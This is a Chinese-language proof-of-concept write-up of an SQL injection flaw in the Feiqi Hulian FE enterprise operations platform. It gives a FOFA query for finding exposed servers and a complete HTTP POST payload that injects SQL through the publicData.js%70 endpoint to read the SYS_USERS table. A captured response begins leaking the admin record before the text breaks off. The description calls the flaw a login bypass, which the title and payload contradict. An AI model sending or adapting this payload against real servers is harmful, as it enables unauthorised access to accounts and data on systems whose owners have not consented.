F1-5飞企互联-FE企业运营管理平台-SQL

漏洞描述：

飞企互联-FE企业运营管理平台 2.ln接口处存在登录绕过漏洞，未授权的攻击者可构造恶意的url访问页面，可直接进入后台管理页面，获取敏感信息，进一步利用可控制整个服务器。

影响版本：

版本<= V6.6.0

网站图片：

网络测绘：

fofa语法：

app="飞企互联-FE企业运营管理平台"

漏洞复现：

payload：

```
POST /oaerp/ui/common/publicData.js%70 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=98B966C0CFC09D9072332217CD0F400D
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

type=getSelectData&table=SYS_USERS&filter=SU01='admin' AND 6155=6155
```

效果图:

Request

Pretty Raw Hex

```
POST /oaerp/ui/common/publicData.js%70 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=98B966C0CFC09D9072332217CD0F400D
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

type=getSelectData&table=SYS_USERS&filter=SU01='admin' AND 6155=6155
```

Response

Pretty Raw Hex Render

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 918
Date: Thu, 01 Feb 2024 01:41:23 GMT
Connection: close
```

[{"SU01":"admin","超级管理